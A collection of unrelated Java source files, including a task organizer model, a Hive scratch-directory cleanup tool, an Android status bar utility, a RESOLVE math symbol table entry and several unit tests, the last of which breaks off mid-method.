taskTags.forEach(tag -> correctTagReferences.add(masterTagObjects.get(tag)));
return new Task(
task.getName(), task.getUpdatedPriority(), task.getBasePriority(), task.getDeadline(),
task.getDateAdded(), task.getDateCompleted(), task.getDescription(), task.getStatus(),
correctTagReferences, task.getSubtasks(), task.getUser(), task.getRecurrence());
}
/**
* Removes {@code key} from this {@code Organizer}.
*
* @throws TaskNotFoundException if the {@code key} is not in this {@code Organizer}.
*/
public boolean removeTask(Task key) throws TaskNotFoundException {
if (tasks.remove(key)) {
removeUnusedTags();
return true;
} else {
throw new TaskNotFoundException();
}
}
//// tag-level operations
public void addTag(Tag t) throws UniqueTagList.DuplicateTagException {
tags.add(t);
}
//@@author natania-d-reused
/**
* Removes all {@code Tag}s that are not used by any {@code Task} in this {@code Organizer}.
*/
private void removeUnusedTags() {
Set<Tag> tagsInTasks = tasks.asObservableList().stream()
.map(Task::getTags)
.flatMap(Set::stream)
.collect(Collectors.toSet());
tags.setTags(tagsInTasks);
}
/**
* Removes {@code tag} from {@code task} in this {@code Organizer}.
* @throws TaskNotFoundException if the {@code task} is not in this {@code Organizer}.
*/
private void removeTagFromTask(Tag tag, Task task) throws TaskNotFoundException {
Set<Tag> newTags = new HashSet<>(task.getTags());
if (!newTags.remove(tag)) {
return;
}
Task newTask =
new Task(task.getName(), task.getUpdatedPriority(), task.getBasePriority(), task.getDeadline(),
task.getDateAdded(), task.getDateCompleted(), task.getDescription(), task.getStatus(),
newTags, task.getSubtasks(), task.getUser(), task.getRecurrence());
try {
updateTask(task, newTask);
} catch (DuplicateTaskException dte) {
throw new AssertionError("Modifying a task's tags only should not result in a duplicate. "
+ "See Task#equals(Object).");
}
}
/**
* Removes {@code tag} from all tasks in this {@code Organizer}.
*/
public void removeTag(Tag tag) {
try {
for (Task task : tasks) {
removeTagFromTask(tag, task);
}
} catch (TaskNotFoundException tnfe) {
throw new AssertionError("Impossible: original task is obtained from PrioriTask.");
}
}
//@@author natania-d
/**
* Recurs a task weekly in the organizer for the given number of times, which is done
* by adding new tasks with the same parameters as the task to be recurred,
* except for deadline, which is changed to be on the same day as the task to be recurred,
* but on later weeks, and priority, which is set to the base priority.
*
* @throws DuplicateTaskException if an equivalent task already exists.
*/
public void recurWeeklyTask(Task taskToRecur, int times)
throws DuplicateTaskException, TaskAlreadyRecurredException, TaskNotFoundException {
Task task = createRecurredTask(taskToRecur);
updateTask(taskToRecur, task);
addRecurringWeeklyTasks(task, times);
}
/**
* Adds versions of a {@code task} that are recurred weekly.
*/
public void addRecurringWeeklyTasks(Task task, int times) throws DuplicateTaskException {
LocalDate oldDeadline = task.getDeadline().date;
for (int i = 1; i <= times; i++) {
LocalDate newDeadline = oldDeadline.plusWeeks(i);
tasks.addRecurringTask(task, newDeadline.toString());
}
}
/**
* Creates and returns a {@code Task} with the details of {@code taskToRecur}
*/
public Task createRecurredTask(Task task) throws TaskAlreadyRecurredException {
Recurrence updatedRecurrence = new Recurrence(task.getRecurrence().getIsRecurring(),
task.hashCode(), true);
return new Task(
task.getName(), task.getUpdatedPriority(), task.getBasePriority(), task.getDeadline(),
task.getDateAdded(), task.getDateCompleted(), task.getDescription(), task.getStatus(),
task.getTags(), task.getSubtasks(), task.getUser(), updatedRecurrence);
}
/**
* Removes {@code key} and its recurred versions from this {@code Organizer}.
*
* @throws DuplicateTaskException
* @throws TaskNotRecurringException if the {@code key} is not recurring.
*/
public void removeRecurredTasks(Task key) throws DuplicateTaskException, TaskNotRecurringException {
if (!key.getRecurrence().getIsRecurring()) {
throw new TaskNotRecurringException();
} else {
List<Task> newTaskList = makeNewTaskListWithoutTags(key);
setTasks(newTaskList);
removeUnusedTags();
}
}
/**
* Removes {@code tag} from all tasks in this {@code Organizer}.
*/
public List<Task> makeNewTaskListWithoutTags(Task key) {
int recurrenceGroup = key.getRecurrence().getRecurrenceGroup();
List<Task> newTaskList = new ArrayList<>();
for (Task task : tasks) {
if (task.getRecurrence().getRecurrenceGroup() != recurrenceGroup) {
newTaskList.add(task);
}
}
return newTaskList;
}
//@@author
//// util methods
@Override
public String toString() {
return tasks.asObservableList().size() + " tasks, " + tags.asObservableList().size() + " tags";
// TODO: refine later
}
@Override
public ObservableList<Task> getTaskList() {
return tasks.asObservableList();
}
@Override
public ObservableList<Task> getCurrentUserTaskList() {
return tasks.userTasksAsObservableList(getCurrentLoggedInUser());
}
@Override
public ObservableList<Tag> getTagList() {
return tags.asObservableList();
}
@Override
public ObservableList<User> getUserList() {
return users.asObservableList();
}
@Override
public boolean equals(Object other) {
return other == this // short circuit if same object
|| (other instanceof Organizer // instanceof handles nulls
&& this.tasks.equals(((Organizer) other).tasks)
&& this.tags.equalsOrderInsensitive(((Organizer) other).tags));
}
@Override
public int hashCode() {
// use this method for custom fields hashing instead of implementing your own
return Objects.hash(tasks, tags);
}
}
|
Java
|
public class CheckValidationDanishImpl implements CheckValidation {
/**
* Mapping between generic Check and Danish Check violation messages.
* @see "Rules for substances dose form units and product generics.docx"
*/
private static final Map<CheckRule, String> CHECK_RULE_2_VIOLATION_MESSAGE;
static {
Map<CheckRule, String> tmpResult = new HashMap<>();
tmpResult.put(CheckRule.CASE_INSENSITIVE_MATCH, "Case warning");
// tmpResult.put(CheckRule.CONCATENATION_MATCH, "Concatenation error"); excluded as no implementation details has been provided and the value provided is questionable (dleh, 20140603)
tmpResult.put(CheckRule.EXACT_MATCH, "Exact");
// tmpResult.put(CheckRule.INFLECTION_MATCH, "Inflection error"); excluded as no implementation details has been provided and the value provided is questionable (dleh, 20140603)
tmpResult.put(CheckRule.TRANSLATION_MISSING, "Translation missing");
tmpResult.put(CheckRule.ZERO_MATCH, "Missing");
CHECK_RULE_2_VIOLATION_MESSAGE = Collections.unmodifiableMap(tmpResult);
}
/**
* {@inheritDoc}
*/
public final String getMessage(final CheckRule checkRule) {
String violationMessage = CHECK_RULE_2_VIOLATION_MESSAGE.get(checkRule);
return (violationMessage == null) ? checkRule.toString() : violationMessage;
}
}
|
Java
|
class UsageTest {
@Test // GH-335
void defaultUsageOfSelfReferentialNode() {
Example_ node = Example_.EXAMPLE;
assertThat(node).isNotNull();
}
@Test // GH-335
void selfReferentialNodesShouldLeadToUsableCode() {
Example_ node = Example_.EXAMPLE.named("example");
assertThat(node).isNotNull();
}
@Test // GH-335
void ltolx() {
var left = Example_.EXAMPLE.named("n");
var parent = left.withParent(Example_.EXAMPLE.named("m"));
assertThat(parent.getLeft().getRequiredSymbolicName().getValue()).isEqualTo("n");
}
@Test // GH-335
void rtorx() {
var parent = Example_.EXAMPLE.withParent(Example_.EXAMPLE.named("m"));
assertThat(parent.getRight().getRequiredSymbolicName().getValue()).isEqualTo("m");
}
@Test // GH-335
void renamingLRShouldWork() {
var left = Example_.EXAMPLE.named("n");
var right = Example_.EXAMPLE.named("m");
var rel = left.withParent(right).named("r");
var cypher = Cypher.match(rel)
.where(right.ID.isEqualTo(Cypher.literalOf(1L)))
.returning(left, right)
.build().getCypher();
assertThat(cypher).isEqualTo("MATCH (n:`Example`)-[r:`BELONGS_TO`]->(m:`Example`) WHERE m.id = 1 RETURN n, m");
}
@Test // GH-335
void renamingShouldWork() {
var node = Example_.EXAMPLE.named("n");
var rel = node.withParent(Example_.EXAMPLE).named("r");
var cypher = Cypher.match(rel)
.where(node.ID.isEqualTo(Cypher.literalOf(1L)))
.returning(node)
.build().getCypher();
assertThat(cypher).matches(
"MATCH \\(n:`Example`\\)-\\[r:`BELONGS_TO`]->\\(.+:`Example`\\) WHERE n\\.id = 1 RETURN n");
}
}
|
Java
|
public class ClearDanglingScratchDir implements Runnable {
private static final Logger LOG = LoggerFactory.getLogger(ClearDanglingScratchDir.class);
boolean dryRun = false;
boolean verbose = false;
boolean useConsole = false;
String rootHDFSDir;
HiveConf conf;
public static void main(String[] args) throws Exception {
try {
LogUtils.initHiveLog4j();
} catch (LogInitializationException e) {
}
Options opts = createOptions();
CommandLine cli = new GnuParser().parse(opts, args);
if (cli.hasOption('h')) {
HelpFormatter formatter = new HelpFormatter();
formatter.printHelp("cleardanglingscratchdir"
+ " (clear scratch dir left behind by dead HiveCli or HiveServer2)", opts);
return;
}
boolean dryRun = false;
boolean verbose = false;
if (cli.hasOption("r")) {
dryRun = true;
SessionState.getConsole().printInfo("dry-run mode on");
}
if (cli.hasOption("v")) {
verbose = true;
}
HiveConf conf = new HiveConf();
String rootHDFSDir;
if (cli.hasOption("s")) {
rootHDFSDir = cli.getOptionValue("s");
} else {
rootHDFSDir = HiveConf.getVar(conf, HiveConf.ConfVars.SCRATCHDIR);
}
ClearDanglingScratchDir clearDanglingScratchDirMain = new ClearDanglingScratchDir(dryRun,
verbose, true, rootHDFSDir, conf);
clearDanglingScratchDirMain.run();
}
public ClearDanglingScratchDir(boolean dryRun, boolean verbose, boolean useConsole,
String rootHDFSDir, HiveConf conf) {
this.dryRun = dryRun;
this.verbose = verbose;
this.useConsole = useConsole;
this.rootHDFSDir = rootHDFSDir;
this.conf = conf;
}
@Override
public void run() {
try {
Path rootHDFSDirPath = new Path(rootHDFSDir);
FileSystem fs = FileSystem.get(rootHDFSDirPath.toUri(), conf);
FileStatus[] userHDFSDirList = fs.listStatus(rootHDFSDirPath);
List<Path> scratchDirToRemove = new ArrayList<Path>();
for (FileStatus userHDFSDir : userHDFSDirList) {
FileStatus[] scratchDirList = fs.listStatus(userHDFSDir.getPath());
for (FileStatus scratchDir : scratchDirList) {
Path lockFilePath = new Path(scratchDir.getPath(), SessionState.LOCK_FILE_NAME);
if (!fs.exists(lockFilePath)) {
String message = "Skipping " + scratchDir.getPath() + " since it does not contain " +
SessionState.LOCK_FILE_NAME;
if (verbose) {
consoleMessage(message);
}
continue;
}
boolean removable = false;
boolean inuse = false;
try {
IOUtils.closeStream(fs.append(lockFilePath));
removable = true;
} catch (RemoteException eAppend) {
// RemoteException with AlreadyBeingCreatedException will be thrown
// if the file is currently held by a writer
if(AlreadyBeingCreatedException.class.getName().equals(eAppend.getClassName())){
inuse = true;
} else if (UnsupportedOperationException.class.getName().equals(eAppend.getClassName())) {
// Append is not supported in the cluster, try to use create
try {
IOUtils.closeStream(fs.create(lockFilePath, false));
} catch (RemoteException eCreate) {
if (AlreadyBeingCreatedException.class.getName().equals(eCreate.getClassName())){
// If the file is held by a writer, will throw AlreadyBeingCreatedException
inuse = true;
} else {
consoleMessage("Unexpected error:" + eCreate.getMessage());
}
} catch (FileAlreadyExistsException eCreateNormal) {
// Otherwise, throw FileAlreadyExistsException, which means the file owner is
// dead
removable = true;
}
} else {
consoleMessage("Unexpected error:" + eAppend.getMessage());
}
}
if (inuse) {
// Cannot open the lock file for writing, must be held by a live process
String message = scratchDir.getPath() + " is being used by live process";
if (verbose) {
consoleMessage(message);
}
}
if (removable) {
scratchDirToRemove.add(scratchDir.getPath());
}
}
}
if (scratchDirToRemove.size()==0) {
consoleMessage("Cannot find any scratch directory to clear");
return;
}
consoleMessage("Removing " + scratchDirToRemove.size() + " scratch directories");
for (Path scratchDir : scratchDirToRemove) {
if (dryRun) {
System.out.println(scratchDir);
} else {
boolean succ = fs.delete(scratchDir, true);
if (!succ) {
consoleMessage("Cannot remove " + scratchDir);
} else {
String message = scratchDir + " removed";
if (verbose) {
consoleMessage(message);
}
}
}
}
} catch (IOException e) {
consoleMessage("Unexpected exception " + e.getMessage());
}
}
private void consoleMessage(String message) {
if (useConsole) {
SessionState.getConsole().printInfo(message);
} else {
LOG.info(message);
}
}
static Options createOptions() {
Options result = new Options();
// add -r and --dry-run to generate list only
result.addOption(OptionBuilder
.withLongOpt("dry-run")
.withDescription("Generate a list of dangling scratch dir, printed on console")
.create('r'));
// add -s and --scratchdir to specify a non-default scratch dir
result.addOption(OptionBuilder
.withLongOpt("scratchdir")
.withDescription("Specify a non-default location of the scratch dir")
.hasArg()
.create('s'));
// add -v and --verbose to print verbose message
result.addOption(OptionBuilder
.withLongOpt("verbose")
.withDescription("Print verbose message")
.create('v'));
result.addOption(OptionBuilder
.withLongOpt("help")
.withDescription("print help message")
.create('h'));
return result;
}
}
|
Java
|
public class StatusBarUtil {
// 设置状态栏透明与字体颜色
public static void setStatusBarTranslucent(Activity activity, boolean isLightStatusBar) {
if (activity == null) return;
Window window = activity.getWindow();
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT && Build.VERSION.SDK_INT < Build.VERSION_CODES.LOLLIPOP) {
window.addFlags(WindowManager.LayoutParams.FLAG_TRANSLUCENT_STATUS);
} else if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
window.clearFlags(WindowManager.LayoutParams.FLAG_TRANSLUCENT_STATUS);
window.getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN
| View.SYSTEM_UI_FLAG_LAYOUT_STABLE | View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR);
window.addFlags(WindowManager.LayoutParams.FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS);
window.setStatusBarColor(Color.TRANSPARENT);
}
if (isXiaomi()) {
setXiaomiStatusBar(window, isLightStatusBar);
} else if (isMeizu()) {
setMeizuStatusBar(window, isLightStatusBar);
}
}
// 是否是小米手机
public static boolean isXiaomi() {
return "Xiaomi".equals(Build.MANUFACTURER);
}
// 设置小米状态栏
public static void setXiaomiStatusBar(Window window, boolean isLightStatusBar) {
Class<? extends Window> clazz = window.getClass();
try {
Class<?> layoutParams = Class.forName("android.view.MiuiWindowManager$LayoutParams");
Field field = layoutParams.getField("EXTRA_FLAG_STATUS_BAR_DARK_MODE");
int darkModeFlag = field.getInt(layoutParams);
Method extraFlagField = clazz.getMethod("setExtraFlags", int.class, int.class);
extraFlagField.invoke(window, isLightStatusBar ? darkModeFlag : 0, darkModeFlag);
} catch (Exception e) {
e.printStackTrace();
}
}
// 是否是魅族手机
public static boolean isMeizu() {
try {
Method method = Build.class.getMethod("hasSmartBar");
return method != null;
} catch (NoSuchMethodException e) {
}
return false;
}
// 设置魅族状态栏
public static void setMeizuStatusBar(Window window, boolean isLightStatusBar) {
WindowManager.LayoutParams params = window.getAttributes();
try {
Field darkFlag = WindowManager.LayoutParams.class.getDeclaredField("MEIZU_FLAG_DARK_STATUS_BAR_ICON");
Field meizuFlags = WindowManager.LayoutParams.class.getDeclaredField("meizuFlags");
darkFlag.setAccessible(true);
meizuFlags.setAccessible(true);
int bit = darkFlag.getInt(null);
int value = meizuFlags.getInt(params);
if (isLightStatusBar) {
value |= bit;
} else {
value &= ~bit;
}
meizuFlags.setInt(params, value);
window.setAttributes(params);
darkFlag.setAccessible(false);
meizuFlags.setAccessible(false);
} catch (Exception e) {
e.printStackTrace();
}
}
}
|
Java
|
public class MathSymbolEntry extends SymbolTableEntry {
// ===========================================================
// Member Fields
// ===========================================================
/**
* <p>
* The entry's mathematical type.
* </p>
*/
private final MTType myType;
/**
* <p>
* The entry's mathematical type value.
* </p>
*/
private final MTType myTypeValue;
/**
* <p>
* The entry's quantifier (if any).
* </p>
*/
private final Quantification myQuantification;
/**
* <p>
* Math symbols that represent definitions can take parameters, which may contain implicit type parameters that
* cause the definition's true type to change based on the type of arguments that end up actually passed. These
* parameters are represented in this map, with the key giving the name of the type parameter (which will then
* behave as a normal, bound, named type within the definition's type) and the value giving the type bounds of the
* parameter.
* </p>
*/
private final Map<String, MTType> mySchematicTypes = new HashMap<>();
/**
* <p>
* This map represents all the generic types we have encountered in this context.
* </p>
*/
private final Map<String, MTType> myGenericsInDefiningContext = new HashMap<>();
// ===========================================================
// Constructors
// ===========================================================
/**
* <p>
* This creates a symbol table entry for a mathematical symbol.
* </p>
*
* @param g
* The current type graph.
* @param name
* Name associated with this entry.
* @param q
* The quantifier (if any) associated with this entry.
* @param definingElement
* The element that created this entry.
* @param type
* The mathematical type associated with this entry.
* @param typeValue
* The mathematical type value associated with this entry.
* @param schematicTypes
* A map from the names of implicit type parameters contained in the definition to their bounding types.
* May be <code>null</code>, which will be interpreted as the empty map.
* @param genericsInDefiningContext
* A map from names of generic types to their bounding types.
* @param sourceModule
* The module where this entry was created from.
*/
public MathSymbolEntry(TypeGraph g, String name, Quantification q, ResolveConceptualElement definingElement,
MTType type, MTType typeValue, Map<String, MTType> schematicTypes,
Map<String, MTType> genericsInDefiningContext, ModuleIdentifier sourceModule) {
super(name, definingElement, sourceModule);
if (genericsInDefiningContext != null) {
mySchematicTypes.putAll(genericsInDefiningContext);
myGenericsInDefiningContext.putAll(genericsInDefiningContext);
}
if (schematicTypes != null) {
mySchematicTypes.putAll(schematicTypes);
}
myType = type;
myQuantification = q;
if (typeValue != null) {
myTypeValue = typeValue;
} else if (type.isKnownToContainOnlyMTypes()) {
myTypeValue = new MTProper(g, type, type.membersKnownToContainOnlyMTypes(), name);
} else {
myTypeValue = null;
}
}
// ===========================================================
// Public Methods
// ===========================================================
/**
* <p>
* Assuming this symbol represents a symbol with function type, returns a new entry representing a "version" of this
* function in which all {@link MTNamed} types that are components of its type have been filled in based on the
* provided arguments. This is accomplished in two phases: first, any explicit type parameters are filled in (i.e.,
* if the function takes a type as a parameter and then that type is used later, later usages will be correctly
* substituted with whatever type was passed); then, implicit type parameters are filled in by binding the types of
* each actual argument to the expected type of the formal parameter, then performing replacements in the remaining
* argument types. Any formal parameter that is <em>not</em> schematized (i.e., does not contain an {@link MTNamed})
* will not attempt to bind to its argument (thus permitting later type flexibility via type theorem). As a result,
* simply because a call to this method succeeds <em>does not mean</em> the arguments are valid for the types of the
* parameters of this function: the types of arguments corresponding to non-schematized formal parameters may not
* match even if a call to this method succeeds.
* </p>
*
* <p>
* If the provided arguments will not deschematize against the formal parameter types, this method will throw a
* {@link NoSolutionException}. This may occur because the argument count is not correct, because an actual argument
* corresponding to a formal parameter that expects an explicit type parameter is not a type, because the type of an
* actual argument does not bind against its corresponding formal parameter, or because one of the types inferred
* during that binding is not within its bounds. If a call to this method yields a {@link NoSolutionException}, the
* provided arguments are definitely unacceptable for a call to this function.
* </p>
*
* @param arguments
* Arguments to the mathematical function.
* @param callingContext
* The current scope we are calling from.
* @param definitionSchematicTypes
* The schematic types from the definition.
*
* @return A {@link MathSymbolEntry} with the arguments deschematized against the formal parameters.
*
* @throws NoSolutionException
* We couldn't deschematize this function.
*/
public final MathSymbolEntry deschematize(List<Exp> arguments, Scope callingContext,
Map<String, MTType> definitionSchematicTypes) throws NoSolutionException {
if (!(myType instanceof MTFunction)) {
throw new NoSolutionException("Expecting MTFunction, found: " + myType.getClass().getSimpleName(),
new IllegalStateException());
}
List<MTType> formalParameterTypes = getParameterTypes(((MTFunction) myType));
List<MTType> actualArgumentTypes = getArgumentTypes(arguments);
if (formalParameterTypes.size() != actualArgumentTypes.size()) {
throw new NoSolutionException("Unequal formal and actual argument sizes.", new IllegalStateException());
}
List<ProgramTypeEntry> callingContextProgramGenerics = callingContext.query(GenericProgramTypeQuery.INSTANCE);
Map<String, MTType> callingContextMathGenerics = new HashMap<>(definitionSchematicTypes);
MathSymbolEntry mathGeneric;
for (ProgramTypeEntry e : callingContextProgramGenerics) {
// This is guaranteed not to fail--all program types can be coerced
// to math types, so the passed location is irrelevant
mathGeneric = e.toMathSymbolEntry(null);
callingContextMathGenerics.put(mathGeneric.getName(), mathGeneric.myType);
}
Iterator<MTType> argumentTypeIter = actualArgumentTypes.iterator();
Map<String, MTType> bindingsSoFar = new HashMap<>();
Map<String, MTType> iterationBindings;
MTType argumentType;
try {
for (MTType formalParameterType : formalParameterTypes) {
formalParameterType = formalParameterType.getCopyWithVariablesSubstituted(bindingsSoFar);
// We know arguments and formalParameterTypes are the same
// length, see above
argumentType = argumentTypeIter.next();
if (containsSchematicType(formalParameterType)) {
iterationBindings = argumentType.bindTo(formalParameterType, callingContextMathGenerics,
mySchematicTypes);
bindingsSoFar.putAll(iterationBindings);
}
}
} catch (BindingException be) {
throw new NoSolutionException(
"Error while attempting to bind the actual arguments to the formal parameters.",
new IllegalStateException());
}
MTType newTypeValue = null;
if (myTypeValue != null) {
newTypeValue = myTypeValue.getCopyWithVariablesSubstituted(bindingsSoFar);
}
MTType newType = ((MTFunction) myType.getCopyWithVariablesSubstituted(bindingsSoFar)).deschematize(arguments);
return new MathSymbolEntry(myType.getTypeGraph(), getName(), myQuantification, getDefiningElement(), newType,
newTypeValue, null, myGenericsInDefiningContext, getSourceModuleIdentifier());
}
/**
* <p>
* This method returns a description associated with this entry.
* </p>
*
* @return A string.
*/
@Override
public final String getEntryTypeDescription() {
return "a math symbol";
}
/**
* <p>
* This method returns the quantifier for this entry.
* </p>
*
* @return A {@link Quantification} object.
*/
public final Quantification getQuantification() {
return myQuantification;
}
/**
* <p>
* This method returns the schemematic type bounds for a given type names.
* </p>
*
* @param name
* Type name in string format.
*
* @return The associated {@link MTType} if found, otherwise it throws a {@link NoSuchElementException}.
*/
public final MTType getSchematicTypeBounds(String name) {
if (!mySchematicTypes.containsKey(name)) {
throw new NoSuchElementException();
}
return mySchematicTypes.get(name);
}
/**
* <p>
* This returns all the schematic type names.
* </p>
*
* @return A {@link Set} containing all the type names.
*/
public final Set<String> getSchematicTypeNames() {
return new HashSet<>(mySchematicTypes.keySet());
}
/**
* <p>
* This method gets the mathematical type associated with this object.
* </p>
*
* @return The {@link MTType} type object.
*/
public final MTType getType() {
return myType;
}
/**
* <p>
* This method gets the mathematical type value associated with this object.
* </p>
*
* @return The {@link MTType} type object.
*
* @throws SymbolNotOfKindTypeException
* We are trying to get a {@code null} type value.
*/
public final MTType getTypeValue() throws SymbolNotOfKindTypeException {
if (myTypeValue == null) {
throw new SymbolNotOfKindTypeException("Null type value!");
}
return myTypeValue;
}
/**
* <p>
* This method converts a generic {@link SymbolTableEntry} to an entry that has all the generic types and variables
* replaced with actual values.
* </p>
*
* @param genericInstantiations
* Map containing all the instantiations.
* @param instantiatingFacility
* Facility that instantiated this type.
*
* @return A {@link MathSymbolEntry} that has been instantiated.
*/
@Override
public final MathSymbolEntry instantiateGenerics(Map<String, PTType> genericInstantiations,
FacilityEntry instantiatingFacility) {
// Any type that appears in our list of schematic types shadows any
// possible reference to a generic type
genericInstantiations = new HashMap<>(genericInstantiations);
for (String schematicType : mySchematicTypes.keySet()) {
genericInstantiations.remove(schematicType);
}
Map<String, MTType> genericMathematicalInstantiations = SymbolTableEntry
.buildMathTypeGenerics(genericInstantiations);
VariableReplacingVisitor typeSubstitutor = new VariableReplacingVisitor(genericMathematicalInstantiations);
myType.accept(typeSubstitutor);
MTType instantiatedTypeValue = null;
if (myTypeValue != null) {
VariableReplacingVisitor typeValueSubstitutor = new VariableReplacingVisitor(
genericMathematicalInstantiations);
myTypeValue.accept(typeValueSubstitutor);
instantiatedTypeValue = typeValueSubstitutor.getFinalExpression();
}
Map<String, MTType> newGenericsInDefiningContext = new HashMap<>(myGenericsInDefiningContext);
newGenericsInDefiningContext.keySet().removeAll(genericInstantiations.keySet());
return new MathSymbolEntry(myType.getTypeGraph(), getName(), getQuantification(), getDefiningElement(),
typeSubstitutor.getFinalExpression(), instantiatedTypeValue, mySchematicTypes,
newGenericsInDefiningContext, getSourceModuleIdentifier());
}
/**
* <p>
* This method will attempt to convert this {@link SymbolTableEntry} into a {@link MathSymbolEntry}.
* </p>
*
* @param l
* Location where we encountered this entry.
*
* @return A {@link MathSymbolEntry} if possible. Otherwise, it throws a {@link SourceErrorException}.
*/
@Override
public final MathSymbolEntry toMathSymbolEntry(Location l) {
return this;
}
/**
* <p>
* This method returns the object in string format.
* </p>
*
* @return Object as a string.
*/
@Override
public final String toString() {
return getSourceModuleIdentifier() + "." + getName() + "\t\t" + myQuantification + "\t\tOf type: " + myType
+ "\t\t Defines type: " + myTypeValue;
}
// ===========================================================
// Private Methods
// ===========================================================
/**
* <p>
* Given {@code t}, we check to see if this type is contained in any of our schematic types.
* </p>
*
* @param t
* A {@link MTType}.
*
* @return {@code true} if {@code t} contained inside a schematic type, {@code false} otherwise.
*/
private boolean containsSchematicType(MTType t) {
ContainsNamedTypeChecker checker = new ContainsNamedTypeChecker(mySchematicTypes.keySet());
t.accept(checker);
return checker.getResult();
}
/**
* <p>
* This method returns a list of mathematical types that can be expanded from {@code t}.
* </p>
*
* @param t
* A {@link MTType}.
*
* @return A list containing all the expanded {@link MTType}s.
*/
private static List<MTType> expandAsNeeded(MTType t) {
List<MTType> result = new LinkedList<>();
if (t instanceof MTCartesian) {
MTCartesian domainAsMTCartesian = (MTCartesian) t;
int size = domainAsMTCartesian.size();
for (int i = 0; i < size; i++) {
result.add(domainAsMTCartesian.getFactor(i));
}
} else {
if (!t.equals(t.getTypeGraph().VOID)) {
result.add(t);
}
}
return result;
}
/**
* <p>
* This method returns the mathematical types associated with the provided arguments.
* </p>
*
* @param arguments
* The arguments to a mathematical function.
*
* @return A list of {@link MTType}s.
*/
private static List<MTType> getArgumentTypes(List<Exp> arguments) {
List<MTType> result;
if (arguments.size() == 1) {
result = expandAsNeeded(arguments.get(0).getMathType());
} else {
result = new LinkedList<>();
for (Exp e : arguments) {
result.add(e.getMathType());
}
}
return result;
}
/**
* <p>
* Given a mathematical function, we return the list of parameter types associated with it.
* </p>
*
* @param source
* A {@link MTFunction}.
*
* @return The list of parameter {@link MTType}s.
*/
private static List<MTType> getParameterTypes(MTFunction source) {
MTType domain = source.getDomain();
List<MTType> result = expandAsNeeded(domain);
return result;
}
}
|
Java
|
public class TestMIMEReaderDrain extends AbstractMIMEUnitTest
{
MultiPartMIMEDrainReaderCallbackImpl _currentMultiPartMIMEReaderCallback;
MimeMultipart _currentMimeMultipartBody;
//This test will perform a drain without registering a callback. It functions different then other drain tests
//located in this class in terms of setup, assertions and verifies.
@Test
public void testDrainAllWithoutCallbackRegistered() throws Exception
{
mockR2AndWrite(ByteString.copy("Some multipart mime payload. It doesn't need to be pretty".getBytes()),
1, "multipart/mixed; boundary=----abcdefghijk");
MultiPartMIMEReader reader = MultiPartMIMEReader.createAndAcquireStream(_streamRequest);
try
{
reader.drainAllParts(); //The first should succeed.
reader.drainAllParts(); //The second should fail.
Assert.fail();
}
catch (MultiPartReaderFinishedException multiPartReaderFinishedException)
{
}
Assert.assertTrue(reader.haveAllPartsFinished());
//mock verifies
verify(_readHandle, times(1)).cancel();
verify(_streamRequest, times(1)).getEntityStream();
verify(_streamRequest, times(1)).getHeader(HEADER_CONTENT_TYPE);
verify(_entityStream, times(1)).setReader(isA(MultiPartMIMEReader.R2MultiPartMIMEReader.class));
verifyNoMoreInteractions(_streamRequest);
verifyNoMoreInteractions(_entityStream);
verifyNoMoreInteractions(_readHandle);
}
///////////////////////////////////////////////////////////////////////////////////////
@DataProvider(name = "allTypesOfBodiesDataSource")
public Object[][] allTypesOfBodiesDataSource() throws Exception
{
final List<MimeBodyPart> bodyPartList = new ArrayList<MimeBodyPart>();
bodyPartList.add(SMALL_DATA_SOURCE);
bodyPartList.add(LARGE_DATA_SOURCE);
bodyPartList.add(HEADER_LESS_BODY);
bodyPartList.add(BODY_LESS_BODY);
bodyPartList.add(BYTES_BODY);
bodyPartList.add(PURELY_EMPTY_BODY);
bodyPartList.add(PURELY_EMPTY_BODY);
bodyPartList.add(BYTES_BODY);
bodyPartList.add(BODY_LESS_BODY);
bodyPartList.add(HEADER_LESS_BODY);
bodyPartList.add(LARGE_DATA_SOURCE);
bodyPartList.add(SMALL_DATA_SOURCE);
return new Object[][]
{
{1, bodyPartList}, {R2Constants.DEFAULT_DATA_CHUNK_SIZE, bodyPartList}
};
}
@Test(dataProvider = "allTypesOfBodiesDataSource")
public void testSingleAllNoCallback(final int chunkSize, final List<MimeBodyPart> bodyPartList) throws Exception
{
executeRequestWithDrainStrategy(chunkSize, bodyPartList, SINGLE_ALL_NO_CALLBACK, "onFinished");
//Single part drains all individually but doesn't use a callback:
List<SinglePartMIMEDrainReaderCallbackImpl> singlePartMIMEReaderCallbacks =
_currentMultiPartMIMEReaderCallback.getSinglePartMIMEReaderCallbacks();
Assert.assertEquals(singlePartMIMEReaderCallbacks.size(), 0);
}
@Test(dataProvider = "allTypesOfBodiesDataSource")
public void testDrainAllWithCallbackRegistered(final int chunkSize, final List<MimeBodyPart> bodyPartList) throws Exception
{
executeRequestWithDrainStrategy(chunkSize, bodyPartList, TOP_ALL_WITH_CALLBACK, "onDrainComplete");
//Top level drains all after registering a callback and being invoked for the first time on onNewPart().
List<SinglePartMIMEDrainReaderCallbackImpl> singlePartMIMEReaderCallbacks =
_currentMultiPartMIMEReaderCallback.getSinglePartMIMEReaderCallbacks();
Assert.assertEquals(singlePartMIMEReaderCallbacks.size(), 0);
}
@Test(dataProvider = "allTypesOfBodiesDataSource")
public void testSinglePartialTopRemaining(final int chunkSize, final List<MimeBodyPart> bodyPartList) throws Exception
{
//Execute the request, verify the correct header came back to ensure the server took the proper drain actions
//and return the payload so we can assert deeper.
executeRequestWithDrainStrategy(chunkSize, bodyPartList, SINGLE_PARTIAL_TOP_REMAINING, "onDrainComplete");
//Single part drains the first 6 then the top level drains all of remaining
List<SinglePartMIMEDrainReaderCallbackImpl> singlePartMIMEReaderCallbacks =
_currentMultiPartMIMEReaderCallback.getSinglePartMIMEReaderCallbacks();
Assert.assertEquals(singlePartMIMEReaderCallbacks.size(), 6);
for (int i = 0; i < singlePartMIMEReaderCallbacks.size(); i++)
{
//Actual
final SinglePartMIMEDrainReaderCallbackImpl currentCallback = singlePartMIMEReaderCallbacks.get(i);
//Expected
final BodyPart currentExpectedPart = _currentMimeMultipartBody.getBodyPart(i);
//Construct expected headers and verify they match
final Map<String, String> expectedHeaders = new HashMap<String, String>();
@SuppressWarnings("unchecked")
final Enumeration<Header> allHeaders = currentExpectedPart.getAllHeaders();
while (allHeaders.hasMoreElements())
{
final Header header = allHeaders.nextElement();
